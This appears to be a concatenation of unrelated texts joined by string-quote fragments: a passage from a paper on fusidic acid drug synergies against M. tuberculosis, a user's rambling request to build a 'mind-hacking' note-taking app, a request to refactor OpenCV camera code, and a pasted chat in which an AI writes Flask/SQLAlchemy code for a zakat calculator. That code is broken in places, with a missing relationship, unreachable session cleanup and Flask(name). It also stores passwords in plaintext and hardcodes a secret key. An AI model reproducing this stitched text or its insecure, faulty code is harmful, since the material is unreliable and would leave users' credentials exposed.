inhibitors, the latter selected to enable evaluation the effects of combining FA with drugs acting on the same pathway (Fig. 1), (10, 11).\n\nFigure 1.\nDownload figureOpen in new tab\nFigure 1.\nAntibiotic targets in protein synthesis:\nSchematic representation indicating known and predicted target sites of antibiotics disrupting different stages in the (myco)bacterial translation pathway. The tRNA binding sites - amino acid (A), peptide (P), and exit (E) - on the ribosome are indicated. Adopted and modified from Wilson et al. (10).\n\nRESULTS\nCheckerboard assay identifies synergistic drug combination partners for fusidic acid\nTo identify potential partners of FA, our preliminary screens utilized Mycobacterium smegmatis mc2155, a fast-growing, non-pathogenic mycobacterium which has been exploited as a useful surrogate in drug efficacy studies in vitro. In standard two-drug checkerboard experiments (Table S1), SPC, ERY, CLR and TET exhibited synergy with FA, defined as FICI ≤ 0.5. These combinations displayed a 4-to 16-fold reduction in MIC90 for each of the individual drugs (Fig. S1). No antagonistic effects were observed with any of the combinations tested.\n\nThe synergies detected in M. smegmatis informed subsequent selection of combination partners for evaluation in M. tuberculosis using the checkerboard method. In addition, representative drugs consisting of clinically used anti-TB agents (first- and second-line) and selected translational inhibitors were tested in combination with FA. For these assays, a M. tuberculosis H37Rv reporter strain expressing green fluorescent protein (GFP) was used, as described previously (12). Fig. S2 provides an example of an interaction study in which FA and ERY were analysed in the checkerboard assay. Results in Table 1 show similarity to those obtained for M. smegmatis, such that SPC, ERY and CLR exhibited synergy with FA against M. tuberculosis. The combination of FA and ERY returned a FICI value of 0.25, indicating a synergistic interaction (Fig. S2A). Other drugs that synergized with FA included RIF, STR, roxithromycin (ROX), and LZD. These synergistic interactions generally resulted in 4-to 8-fold reductions in the MICs of each drug within the combination. Even though the combination of FA and BDQ did not result in a FICI value of ≤ 0.5, it is important to note that the two displayed approximately a 4-fold reduction in their respective MICs, and the observed FICI (0.55) was very close to that defined as “synergy”. No antagonistic interaction was observed between FA and any of the compounds tested. For the combinations exhibiting synergy with FA, isobolograms were constructed by plotting the FIC curves of the FA-drug combinations (Fig. S3). Interactions between FA and ERY, SPC, and RIF were well within the synergy region (FICI < 0.5) whereas FA with STR, LZD, and ROX indicated borderline synergy (FICI = 0.5). The FA-INH interaction was included as a “no interaction” control.\n\nView inlineView popup\nTable 1.\nIn vitro synergistic interaction between FA and anti TB agents or selected translational inhibitors against M. tuberculosis::gfp\n\nTo confirm results obtained using the checkerboard assay, the strongly synergistic FA-ERY combination was evaluated in a growth inhibition assay (Fig. S4). For this purpose, FA and ERY were used at 0.3 and 27 µM, respectively, since these were the concentrations at which the lowest FICI value was obtained in the checkerboard assay (Fig. S2). RIF, at a concentration of 0.015 µM, was included as a control. In the absence of drug, the population of M. tuberculosis increased over 14 days post-inoculation. In contrast, the population of viable cells remained relatively constant over the same duration when the growth medium contained the FA and ERY combination. Similarly, the medium containing FA, ERY plus sub-MIC RIF did not display any increase in the number of viable bacterial population over a 14-day period. In contrast, cultures incubated in the presence of the individual antibiotics, FA or ERY, showed equivalent growth to the untreated control.\n\nAssessing synergistic and peak plasma concentrations (Cmax) of FA synergizing drugs for optimal therapy\nAs a key consideration for the clinical potential of FA combinations, the respective concentrations at which synergy was observed were compared with the reported peak plasma concentrations (Cmax) for each drug. This is important in understanding whether the concentrations required to achieve the desired response are therapeutically feasible – and, consequently, whether the results obtained from an in vitro assay have any utility in guiding therapeutic use. Except for the FA-ERY interaction, synergies between FA and its partners were achieved at concentrations predicted to be below the maximum plasma concentrations (13, 14), suggesting that these concentrations are therapeutically achievable (Fig. S5). For example, the presence of FA decreased the MIC of SPC from 201 µM to 3.14 µM, which represents a greater than 98% reduction in the MIC (Table S2). This reduced concentration is far below the Cmax value of SPC in humans (30.8 µM), determined following a 1000 mg intramuscular dose (15).\n\nAssessing cidal versus static synergies\nTo determine whether FA interactions resulted in killing or merely inhibited the growth of M. tuberculosis, the method of Zhang et al. was utilized (16). INH, a bactericidal agent, was used as a reference drug, and all drugs were tested alone and in combination against the M. tuberculosis H37Rv::gfp bioreporter strain. Results for the bacteriostatic or cidal effects of the drug combinations with FA are illustrated (Figure 2). The FA-RIF combination displayed a MBC/MIC ratio of ≤ 2 on day 14 of evaluation, suggesting cidality. The other combinations tested – combining FA with SPC, ERY, CLR, ROX or LZD – all exhibited MBC/MIC ratios >2, implying static effects. The bacteriostatic/cidal action of individual drugs is shown in Fig. S6.\n\nFigure 2.\nDownload figureOpen in new tab\nFigure 2.\nBactericidal versus static effects of drug combinations against M. tuberculosis.\nAnalysis of FA in combination with synergizing drugs; ERY, SPC, CLR, ROX, RIF, and LZD. INH was used as reference drug. MBC/MIC ratio ≤2: cidal; MBC/MIC ratio > 2: static. \\*Sub-inhibitory concentrations of FA that exhibited the respective synergies in these checkerboard experiments are between (0.3 – 1.2 µM) Data are from a representative experiment performed in triplicate. Error bars indicate standard deviations, calculated from the mean of triplicate samples.\n\nFA synergizing partners are active against the FA-resistant mutant\nA cross-resistance study was performed using a FA-resistant M. tuberculosis mutant carrying H462Y mutation in fusA1(11). The FA-resistant mutant exhibited >100-fold MIC compared to the FA-susceptible parental strain. Six synergistic FA partner drugs – RIF, SPC, CLR, ERY, STR and ROX – were evaluated using the resazurin reduction microplate assay (REMA). The results (Fig. S7) indicated that the MIC90 values of these drugs remained the same against the FA-resistant mutant relative to the wild-type strain, confirming that there was no cross-resistance to each of the tested compounds.\n\nInteraction of FA synergizing partners with selected chemically unrelated compounds\nUsing a set of six chemically and structurally diverse drug agents (Table S3), a combination assay was performed with four drugs that had displayed synergistic interaction with FA: RIF, ERY, CLR and SPC. The aim was to determine whether these compounds displayed synergy only with FA or exhibited a wider spectrum of synergistic interactions. The results of these pairwise combinations (Figure 3) revealed potentiating interactions between all FA synergizing partners (except RIF) and THS, BDQ and CPZ. CLR displayed strong synergies with BDQ and CPZ (FICI = 0.23 in both cases). The interaction between SPC and INH was also synergistic, while the remaining compounds (EMB and MOX) exhibited no interactions in combination with RIF, ERY, CLR and SPC.\n\nFigure 3.\nDownload figureOpen in new tab\nFigure 3.\nDrug interaction study.\nPairwise interactions between selected drugs (blue fonts) and synergizing agents (black fonts) of FA (using M. tuberculosis H37Rv::gfp. Red panels indicate synergistic interactions (FICI ≤ 0.5), while green panels are no interaction (0.5 < FICI ≤ 4). The bars indicate the fold-reduction in MIC required to achieve the same effect in combination versus single-drug assays. For example, in the interaction between RIF and MOX, top right-hand panel, the FIC for RIF = 0.45 (black bar) and MOX = 0.9 (blue bar). The resulting FICI for RIF-MOX = 1.35 (green bar) which indicates an additive interaction. Data are from the representative experiment performed in duplicate.' +'thank you , bbased on all we discussed, draw an outline for such app, in 15 points, showing al lth features, in elaborate ste by step way\n"i found this method , i want you to help me turn it into a visionay mobile app, very intuitive , that takes you to a journey to the depth of the mind ""i found a loophole, a shortcut , to hack the mind, I am an artist, 2 yers ago i came across a tip, a note taking tip, but a little it differe,nt i created a whatsapp group , emptied it, called it characters tic. it was about specific traits i found in interesting in people,all without wriintg the characters name [will get to tht later] a while leater i added another group “ random scenes” about random scenes i saw heppening , rememberd from the past, or just envisioned, creatively. i kept adding “complex feelings”, “Diseases as a character : how a disease affects the lfie of its carrier” “jobs as a character : how a job affects the life of its worker”, i added over a hundred group relating to writing, characters , a year later, i dsocvered somrething weird, the trick of not using names ,came to benefit when i disocvered something very weird, a year later, everything i have written ,is what led to me know, all these thoughts, the dance of thm all the se chars , are me, the traits are all me,\n\nwhy it works? very simpl,e we haven o access to what’s outside our brain, this seems intuitive but hard to reallty know what imeans without really noticing , the cause and effecto f it ll, which these whatsapp groups help ou in , after idiscvoered that, ialso discovered thatm y attention, became much stronger towards the topics/whatsapp groups i used the most, these bcame things i attend to in each prompt [which is each scene i see by eye or hair] , \n\nwhy it works? attention is a muscle, it’s all inside your head, if you train you story to focus on that aspecrt, you will focus on it, after i discoerd that loop hole , i started adding a group for specific things i consiocly want to foucs on , maybe for work , or study related, and whati found was that the same thing hapened again, i keep getting ideas, many fish in the see, and my fishigng rods of contiousess have trained , been fine tuned on those whatsapp groups, so if i wrote “Techon music syneththis “ as a group , i getm ore ideas about that, even dream about it ..\n\nanother great thingi s the strucure you notice after a while ,how every group connects to the other , how they all are you. \n\nanother great beneiftsi s cusotmizaiton, you basically hack your mind, like linux access not windows, to control what do you want to focus on ? what od you want to be your problems ?pains tht you want to solve? it’s like a transformer backbone [ the original charater tics gorup and dramatic psyche ones] , then fine tuned on any new whatsapp group, in a fvery fast way, as you have the basis of unity ,symmetry tht allows you to catch the cores of it all, have a framework. \n\nwe’re just a story we tell ourselves, so let’s just control how the story is written ,it’s about the details, here’s the secret, each thought [of your intuion], or contiousness is a result of those groups ,by chanign them you are witnessing the skin peelning process of yuo\n\nPRo tip : when creating the group , organize them into 2 types :groups tha tprereset [nodes] which could be scenes or tics, and groups represtning [meta nodes] which are grups representing higherl evel strucure, of , why you write the wway oyu write? \n\na group called “deep” about your philosophy shower thoguhts, how everything works ? \n\nthe interaction ebtween those groups and the groups of [nodes] , will help you find the strucure ,you not only write what you think but how you think, and when you revisit later you have a progress ov your thought prccess over a year.\n\nThe final tip is that, whenenver an idea hits you ,you have to write it down in the group , this process of beating the voices preventing you from recording it [that’s your ego afraid of its fragemntation], helps in making it easier to record latero n , you are training the meta muscle of muscles\n\nPErsonally i h vae faced a very weird kind of Ego death, action, intent, cause, effect ,all internal iconversations, my mind categorized in front of me, this is my story, this is why i did what i did, it all makes sense, the eureka moment was ,oh shit fuck , this means i could control how i fell, just by filtering my dataset \n\nThe dataset : this methd give you a look inside you dataset, what makes you you, whether you re waware of it or nor, for exmaple , in the characters group , each character is part of you , again , very simple reason , you have no access to outside. In retrospect this will make sense t you, once you scroll up and see how these ideas manifested in your to make you\n\nPro tip: once you master the method, you could intentally add seeds to manifest in you , when you figure out the calculus of your attention : \n\nManifestation : Manifestation is treated a buzzword, but its very simple, we usually in a reactionary state, this method of note taking [on the coniditon that you write an entry whenever yo uget the idea regardless of your modd, excuse] helps you get those 10 seconds of freedon at least, before any decision , which help you control what you think, when to think, where to think, helps you control yuor multi headed attention [multi whatsapp groups,] , throw the fishing rods wheere you want\n\nAdvanced tip : a very interesting step that happens by time is compression s,ome of the gruops will be redudnant you will not use hem aymore, as you will discover that some groups more than other, capture most abstract, gernelizable ideas, thiss proccess of morphing ,compresison helps condensing the ideas and condensng the strucure, mkaing info per minute ratio very high. \n\nsome of the groups i personally used [ Story] [Theme][Characters][Random Scenes][Char/Job][Char/Place][Char /Object : each object has life too] ,[complex emotions [emotions i do not understand now ] [RelationShips][Quotes][Deep][Eminem][Deep Learning][StandUpComedy][NormMcdonald Style]\n\na writer who sipmitsh is pilot for a hsow ,does smething similar in his mind to this, tries to morph into the show access the whatsapp grops of the show , tryies to morph everything by it , write in the style of it , make it his main attention head \n\nlast tip : be vompletely honest , ego deathic when wrtiing entries, if you’re not, you will knwi anyway when you revisit em, and you will discover tyou were lying to youself, and fix that, which is cool too , so win win.\n\nexmaples of how to create groups , for esxample ,lets see you wanna get some politics , write a group called rebublican : only write it in it from the perpsective of a repbulica, another a democrat, write in ffom a perspective of a democrat, this does two things [ contrastive learning : helps you see the idffernece, learn the things by what it isn’t in addition to what is is] , and by writing scenes in each group , you really nderstand the topic/perspective/dimension[like in deep elarning, softmax] , of that concept, ] \n\nAnotheri important factor in this method is , isnce its done alone, you could be totally comepltely honest in writing your opinions, in this steel meanign process, just focus on one thing [ how do i write it as a Democrat] , by odoing this process in many groups [letting the name of thr oup determine/morph into the content ] you train many voices/characters in your head , in this adversairal dance between those voicesi n your head[externlaized as whatsapp groups] yo uelarn more about oyurself, while epoxnentiating your attention along the way ,by looking from differnt dimenions at each concept, one thing you will notice is by going back to eahc grup, you will see each line you write having totally new meanings, because you have morphed all the groups in youe head now with a holistic strucure , so each word from thr past wil l have its wown strucure, own story, it’s a never inding iterations , stengetinh your muscles, liek the gym ,after eall ,why shoud lthe gym be differnet ? isn’t it all in our heads by the npend othe day? isn’t that how them ind works/ \n\nnow is the time, like newton, to figure out the caluclus, of the psyche.\n\nIn reading, you will find you only notice on cathing those form thw hatsapp gorups, it wil l hyperepoxnentiate yyour reading, it compiles, hyperexponentiate, make a group called [nietzche] fill it with nietzchhe dieas , morphed with you ,day by day mit comples al the groups ,your mind will compress, find a strucure, \n\nwhy this works? it should work without whatsapp grops, its just the our memories are wek, atten not trained, by this , you could pin point your vectors, in your latent sapce is is your brain ,each entry a node, each groupa a meta node , higher dimensionla vector, all shaping you\n\n[steve jobs had same number of days as ya, just more pureified ataset[ fine tuned attention heds , on class design], like wise all ceos , and writers , just h av better attention heads\n\neach entry has a tag [ emotion , for the corresponding map of emotion tied to the reard sstme[what di dthi sscnee make you feel]? , and a [dance] , whch is a relation to the previous s,or other group , to find ties\n\nthis cateroization retrieval, helps in pattenr prediciotn ,refoncgniotn, after ah whie l you will be able to fill the groups on yuor own without externam stimule ,you have trianed yoursle,f you acn be self prompting now, thisi s what writers do when they write a pilot for a show like a sitcom i nits tone and voice\n\nthis categorization and retrieval helps yo u now what oyu think ,what you feel and why ,to better deal with your emitons, and knwo what your ocores are[affter compresing groups over time ] ,\n\nthink abut it like this, the groups are yhe fishing rods of your contiosnesss ,thme ore you stregethen them the more fish you catch, the more you focus , you compress them after mastering, into [notj ust parallel, but morprhed fihsing rods][ helping you find beiiger strucure even in small things]\n\nwhy ego death [each char , dialogue you wirte is a voice inside you ,you just dont know it because we habe been consturcted to foucs on the ego, but by writing down , you see you’re more , you basically hack your ego.\n\nwith this method, you can control your habits, see why they are formed, each thing you say you like now, you get to see its routes later on , it’s a like a machine learnign model having a purified dataset to learn on , you are the model . you see that your life is in youe hand\n\nwith core groups related to art, writing : you also et mire immsersed in day to dat foncersaiotn, in the narrativel ine as you get more cues , pschhologica, dialogue ,emoitons ,that you practised yoyour muscles to attend to\n\nwith eahc groupp, the next becomes easier, this is due to trransfer learning, in whih the muscle of building muscles itself grows, youre fine tuning your backbone on another ohrups its faster everyinem, yo umster you tools ,you attentions ,your fishing rods\n\nanother visionary thing about this method is tht udring timeso f distress, sadness, you could just use tht energy, trasnfer it to entries in the whtasapp groups , intto scenes, or even a tv show, perhaps about the future, how would people cry in the future? by collecting indivuual elemts trained on from whatss groups, now you ould morh many to many, in each ,if you feel bad about a story in your head, you could now cut off from that and frame it, think where to categorize it ,workout your muscle,s while processing the meoions, but now you going meta , by asking where to categroize them.\n\nIT’S NOT A JOURNAL ,SO DONT WRITE TODAYI WENT OTO GET GROCWRIES, THEN ~ THAT’S WHY ITS BETTER TO NMENTON NO NAMES, THIS IS LIKE THE DIFFERNCE BETWEEN TRANSFORMERS AND TRAIDTIONAL NEURAL NETWORK, NOW USE ATTENTION VIA WHATSAPP GROUPS, FOCUS ON THE IMPROTANT PARTS YOU WANT TO INCPORPOTRATE INTO THE DATASET THAT IS YOUR MIND,PURIFY YOUR DATASET, RENARRATIVIZE YOUR MIND. ITSL IKE SELF ATTENTION AND ATTENTION MECHANISMS IN TRANSFORMERS , YOU DONT HAVE TO “TRADITIOANLLY LIKE IN YOUR JOURNALY, TYPE A CMOPLETE SEQUENCE OF EVEENTS THAT IS FILLED WITH IRRELVANT PARTS” BY CHOOSING THE IMPORTANT PARTS, FILTERING WHAT YOU FOUCSO N, YOU SAVE YOURSELF TIME, AND YOU DISCOVER THEU NITIE,S SYMMETRIES AMONG ALL, FOR EXAMPLE BY TYPING CHARACTER TRAITS, “HOW DOES HE EAT EGGS?” -THEN TYPING THE PROBABLE “WHY?” YOU ARE ALTER ABLE TO GERENALIZE WHEN YOU SE ETHIS BEHAVIOUR IN ANY OTHER EPSON, YOU LEARNT HE CAUSE ADN EFFECT , THE CALUCLUS OF LIFE\n\nfrom all these unities ,and symmetries you will discover ,you iwll be able to catch them, what are the y? the patterns, bigger and bigger in your mind they grow, they from stories you’re abl eto retreive much faster, you’re forming your own knowledge tree ,by getting granual, getting back to first principals, literally from what makes a “character, theme, story, emotion,singer,algroithm” by a whatsapp group for each ,filled overtime ,the trick here is you fill it with something of your synethithis, don’t copy. this process of morphing the idea to a group helps you notice the symmetries, mixging genresl iek fredie mercury, the great thing about this method is also cutomization, be experimental.\n\nby this method you get to know , not only what you think, but what you are, and not only that, but why you are ? why you think what you think ? you witness the meta complex adaptive process udnderlying the strucure of stories that make you\n\nbyt this method you will , not only know, but feel, that life is very much alive\n\n[scene : i could contorl m t dreams ,seE? the strucure of all mrophed onto them, , strucuresm orph , tis you after all, theym orph yto you ,character tics is the cahr tics of you , that yo usee in all, you renarrtivize you relationsships with youself, with others, you are in a constant state of fchangem and yo usee hatp rocess, visualzed, your mind ,disecte,d time , vroken,d spread , you ee the claculus of it all, all the node,s in e chan, that make you you\n\nMAGICAL THING ABOUT IT ? once you know yourself by it, youo can know all others by it [you might say, by wouldn’t i be too indulgent? to that i say, it’s all in your head anyway, this way you’re just aware of it , and this method if appled to understand people it works, countries/ it works , cuz they are just people, art? it works, Companies? it works ,think of retention of customers, [succssfull companeis are ones with stories, high meta nodes, with scenes supporting them [like a concet and examples]\n\nIn the end, we are just a story we tell outselves, so hell, let’s become the writers of our story, by talking it …literally. cuz..why not ? thi' +'Rewrite this code cleanly and to work as a function like the example given afterwards.\nCode to rewrite : \nimport os\nimport sys\nimport imutils\nimport numpy as np\nsys.path.append(os.getcwd() + "/../") #ce truc dégueulasse à été fait par Tim, je ne cautionne pas du tout\nimport main\nimport cv2\n#cali\\_1\nmtx = np.array([[1.19126136e+03, 0.00000000e+00, 9.59240007e+02], [0.00000000e+00, 1.11365936e+03, 5.27377810e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\ndist = np.array([[ 0.11751622, -0.4181012, -0.0034592, 0.0087792, 0.33441168]])\n\n#cali\\_2\n#mtx = np.array([[1.19309855e+03, 0.00000000e+00, 7.84314808e+02], [0.00000000e+00, 1.11766414e+03, 5.62846555e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\n#dist = np.array([[ 0.0091465, 0.15736172, -0.0010599, -0.00085758, -0.43462203]])\nwebcam = cv2.VideoCapture(\'trasnslation22s.video\')\n#webcam = cv2.VideoCapture(0, cv2.CAP\\_V4L)\n#img = webcam.read()\nimg = cv2.imread(\'1.jpeg\')\n\nh, w = img.shape[:2]\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_WIDTH, w)\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_HEIGHT, h)\nnewcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx, dist, (w,h), 1, (w,h))\nwhile True:\n check, frame = webcam.read()\n if check:\n \n # undistort\n dst = cv2.undistort(frame, mtx, dist, None, newcameramtx)\n # crop the image\n x, y, w, h = roi\n frame = dst[y:y+h, x:x+w]\n \n frame = imutils.rotate(frame, 180)\n main.function(frame)\n frame = cv2.resize(frame, (860, 540))\n cv2.imshow(\'video\', frame) \n \n key = cv2.waitKey(1)\n if key==27:\n break\n\nwebcam.release()\ncv2.destroyAllWindows()\n\nExample code :\nimport cv2\nfrom utils import toolkit\nimport numpy as np\nfrom pathlib import Path \nfrom imutils.video import WebcamVideoStream\nfrom imutils import rotate\nfrom rich import print as rprint\nfrom scipy.signal import savgol\\_filter\n\ndef coord\\_tag(dict,id1,id2,size1,size2,conn2=None,filter=False,src\\_=0):\n\n # Load the necessary side functions and matrix for calibration\n tool = toolkit()\n cam\\_mat = tool.mtx\n dist\\_coef = tool.dist\n y1 = 70\n\n # Loading the dictionnary\n marker\\_dict = cv2.aruco.Dictionary\\_get(tool.ARUCO\\_DICT[dict])\n\n # Savitzsky-Golay\'s filter parameters\n y\\_raw\\_value = []\n window\\_size = 11\n sample\\_size = 50\n polynomial\\_order = 2\n\n # Load the video stream\n vs = WebcamVideoStream(src=src\\_).start()\n\n # Create the parameters of the camera\n param\\_markers = cv2.aruco.DetectorParameters\\_create()\n\n # Displayed text parameters\n fontScale = 1.5\n precision = 3\n\n # Program loop \n while True:\n\n # Reading the frame\n frame = vs.read()\n\n # Rotating the image (not important)\n frame =rotate(frame,180)\n\n # Adding a grey filter onto the frame\n gray\\_frame = cv2.cvtColor(frame, cv2.COLOR\\_BGR2GRAY)\n\n # Detect the tags on the image\n corners, ids, \\_ = cv2.aruco.detectMarkers(\n gray\\_frame, \n marker\\_dict,\n parameters=param\\_markers\n )\n\n \n\n try:\n\n # To know which rvec to correspond to which id we make a dictionnary\n # Let\'s flatten the ids array\n ids\\_flat = [ ui[0] for ui in ids]\n\n # Make a dictionnary for ease of use \n ind\\_id = { id: i for (i,id) in enumerate(ids\\_flat) }\n\n # Create two separate lists for the markers with different ids and sizes\n corners1 = corners[ind\\_id[id1]]\n corners2 = corners[ind\\_id[id2]]\n \n \n # If the 2 tags specified have been detected then we enter the main program\n if ([id1] in ids) and ([id2] in ids):\n\n # Estimate the poses of the markers\n rvecs1, tvecs1, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners1,\n size1, \n cam\\_mat,\n dist\\_coef)\n rvecs2, tvecs2, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners2,\n size2, \n cam\\_mat,\n dist\\_coef)\n\n # Compute the homogeneous matrix \n # Normally noglitches can happen here but be careful if there are several \n # reference tags with the same id \n \n # Since there is only one tag per pose estimation we use index 0\n H = tool.Homogeneous(rvecs1[0],tvecs1[0])\n \n # Pass tvec2 as homogenous\n tv = np.array([\n tvecs2[0][0][0],\n tvecs2[0][0][1],\n tvecs2[0][0][2],\n 1])\n\n # Compute the tag 2 coordinates in tag 1 system of coordinates\n Tvec\\_id2\\_ref\\_id1 = np.dot(tv,H)\n Tvec\\_id2\\_ref\\_id1 = Tvec\\_id2\\_ref\\_id1[0:3]/Tvec\\_id2\\_ref\\_id1[3]\n \n # Draw pose of the tags : red = Ox | green = Oy | blue = Oz \n frame = cv2.aruco.drawDetectedMarkers(frame, corners, ids)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs1, tvecs1, 0.1, 1)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs2, tvecs2, 0.1, 1)\n\n # Extracting the bottom right coordinates of Tag 2 to plot text\n corners2 = corners2[0].reshape(4,2)\n corners2 = corners2.astype(int)\n bottom\\_right = corners2[2].ravel()\n\n # Display the newly computed coordinates of Tag 2 \n cv2.putText(\n frame,\n f"x:{round(Tvec\\_id2\\_ref\\_id1[0],precision)} y: {round(Tvec\\_id2\\_ref\\_id1[1],precision)} ",\n bottom\\_right,\n cv2.FONT\\_HERSHEY\\_PLAIN,\n fontScale,\n (255, 0, 255),\n 2,\n cv2.LINE\\_AA,\n )\n\n # Sometimes ids is None and we get a Type error because of len(ids) but osef\n except TypeError as v:\n pass\n except Exception as e:\n rprint("[bold red] {} [/bold red]".format(e))\n pass\n\n # Display the frame\n cv2.imshow("Table", frame) \n key = cv2.waitKey(1)\n \n # Close the frame is "q" is pressed\n if key == ord("q"):\n conn2.send(None)\n break\n\n # Finish the program cleanly\n cv2.destroyAllWindows()\n vs.stop()' +'my question:\n"how to create databases/tables for: a flask web app - salary zakat calculator. User can log in and log out. we will use \'income\' and \'expenses\'. User can input income at any time - I will also include a calendar for the user to input any transaction (debit/credit) that took place in the past that the user forgot to input. Naturally the income will come first and the expenses second, and the expenses will be subtracted (automatically, by my app - how to do this?) from the previous income (ie the last income), and if that is not suffieicent then the one before that, all the way until the first entered income. The main purpose of this web app is to calculate zakat. Zakat is calculated as 2.5% of any amount that has been in the possession of the user for more than 1 hijri year. How will this be calculated according to the new table? I would like to display a table to the user (in the web app) containing zakat amount due and the exact date and time, in both hijri and gregorian format, of when each amount became due, and also at the end of the table a number showing total zakat due. Once the user pays his zakat, he will click a button "paid" for that particular due (will also include a \'paid all\' button to indicate that he paid all his dues at once). This should then update the tables - subtracting the due from the exact instance of the amount for when it was due i.e if he paid zakat for income from march 2021, the database should subtract 2.5% from the income in march 2021 for which the zakat was due, and so on for every amount. Then, the remaining amount after deducting the zakat payment should be tracked for the next hijri year, and then served up to the user if the hijri year passes without it being exhausted. I would also like to give the user the option to view his entire data - income and expenses currently being tracked for zakat, already paid zakat, as well as the date and time when zakat for a specific amount will be due.\n\nwrite entire sqlalchemy code needed for this whole website - ie write the entire models.py file, and also write what needs to be added to the app.py file, with examples of how to modify the database in all the ways that is required for the stated goals."\n\nyour response:\n"Sure, I can help you write the SQLAlchemy code for this web app. Here is the code for models.py:\n\npython\nCopy code\nfrom sqlalchemy import Column, Integer, String, Float, DateTime, ForeignKey, create\\_engine, text\nfrom sqlalchemy.orm import relationship, backref, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative\\_base\nfrom datetime import datetime\n\nBase = declarative\\_base()\n\nclass User(Base):\n \\_\\_tablename\\_\\_ = \'users\'\n id = Column(Integer, primary\\_key=True)\n username = Column(String(50), nullable=False, unique=True)\n password = Column(String(50), nullable=False)\n incomes = relationship("Income", back\\_populates="user")\n expenses = relationship("Expense", back\\_populates="user")\n zakat\\_payments = relationship("ZakatPayment", back\\_populates="user")\n\nclass Income(Base):\n \\_\\_tablename\\_\\_ = \'incomes\'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date = Column(DateTime, nullable=False, default=datetime.utcnow)\n user\\_id = Column(Integer, ForeignKey(\'users.id\'))\n user = relationship("User", back\\_populates="incomes")\n expenses = relationship("Expense", back\\_populates="income")\n\nclass Expense(Base):\n \\_\\_tablename\\_\\_ = \'expenses\'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date = Column(DateTime, nullable=False, default=datetime.utcnow)\n user\\_id = Column(Integer, ForeignKey(\'users.id\'))\n user = relationship("User", back\\_populates="expenses")\n income\\_id = Column(Integer, ForeignKey(\'incomes.id\'))\n income = relationship("Income", back\\_populates="expenses")\n\nclass ZakatPayment(Base):\n \\_\\_tablename\\_\\_ = \'zakat\\_payments\'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date\\_paid = Column(DateTime, nullable=False, default=datetime.utcnow)\n income\\_id = Column(Integer, ForeignKey(\'incomes.id\'))\n income = relationship("Income", back\\_populates="zakat\\_payments")\n user\\_id = Column(Integer, ForeignKey(\'users.id\'))\n user = relationship("User", back\\_populates="zakat\\_payments")\nIn this code, we define four tables: users, incomes, expenses, and zakat\\_payments. Each table corresponds to a specific model in the web app. The User model represents a user of the app, while the Income and Expense models represent income and expenses, respectively. The ZakatPayment model represents a zakat payment made by a user for a specific income record.\n\nWe also define relationships between the tables using foreign keys and the relationship() function provided by SQLAlchemy. For example, the User model has a one-to-many relationship with both the Income and Expense models, and a one-to-many relationship with the ZakatPayment model. Similarly, the Income model has a one-to-many relationship with the Expense model and a one-to-many relationship with the ZakatPayment model.\n\nHere is an example of how you can use the code in app.py to add and retrieve records from the database:\n\npython\nCopy code\nfrom flask import Flask, request, jsonify\nfrom models import User, Income, Expense, ZakatPayment, Base\nfrom sqlalchemy import create\\_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom datetime import datetime, timedelta\nimport hijri\\_converter\n\napp = Flask(\\_\\_name\\_\\_)\n\nengine = create\\_engine(\'sqlite:///zakat.db\', echo=True)\nBase.metadata.create\\_all(engine)\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n@app.route(\'/"\n\nyou stopped in the middle. Complete your response from the line you stopped, don\'t start all over again.\n\n"Continuing from the previous response, here\'s the rest of the SQLAlchemy code for the web app:\n\npython\nCopy code\nengine = create\\_engine(\'sqlite:///salary\\_zakat\\_calculator.db\', echo=True)\nBase.metadata.create\\_all(engine)\nSession = sessionmaker(bind=engine)\n\napp = Flask(name)\napp.secret\\_key = \'supersecretkey\'\n\n@app.route(\'/signup\', methods=[\'POST\'])\ndef signup():\nusername = request.json[\'username\']\npassword = request.json[\'password\']\nsession = Session()\nuser = User(username=username, password=password)\nsession.add(user)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'User created successfully.\'}), 201\n\n@app.route(\'/login\', methods=[\'POST\'])\ndef login():\nusername = request.json[\'username\']\npassword = request.json[\'password\']\nsession = Session()\nuser = session.query(User).filter\\_by(username=username, password=password).first()\nif user:\nreturn jsonify({\'message\': \'Login successful.\'}), 200\nelse:\nreturn jsonify({\'message\': \'Invalid username or password.\'}), 401\nsession.close()\n\n@app.route(\'/incomes\', methods=[\'POST\'])\ndef add\\_income():\namount = request.json[\'amount\']\nuser\\_id = request.json[\'user\\_id\']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = Income(amount=amount, user=user)\nsession.add(income)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'Income added successfully.\'}), 201\n\n@app.route(\'/expenses\', methods=[\'POST\'])\ndef add\\_expense():\namount = request.json[\'amount\']\nuser\\_id = request.json[\'user\\_id\']\nincome\\_id = request.json[\'income\\_id\']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = session.query(Income).get(income\\_id)\nexpense = Expense(amount=amount, user=user, income=income)\nsession.add(expense)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'Expense added successfully.\'}), 201\n\n@app.route(\'/zakat\\_payments\', methods=[\'POST\'])\ndef add\\_zakat\\_payment():\namount = request.json[\'amount\']\nuser\\_id = request.json[\'user\\_id\']\nincome\\_id = request.json[\'income\\_id\']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = session.query(Income).get(income\\_id)\nzakat\\_payment = ZakatPayment(amount=amount, user=user, income=income)\nsession.add(zakat\\_payment)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'Zakat payment added successfully.\'}), 201\n\n@app.route(\'/zakat\\_due\', methods=[\'GET\'])\ndef get\\_zakat\\_due():\nuser\\_id = request.args.get(\'user\\_id\')\nsession = Session()\nuser = 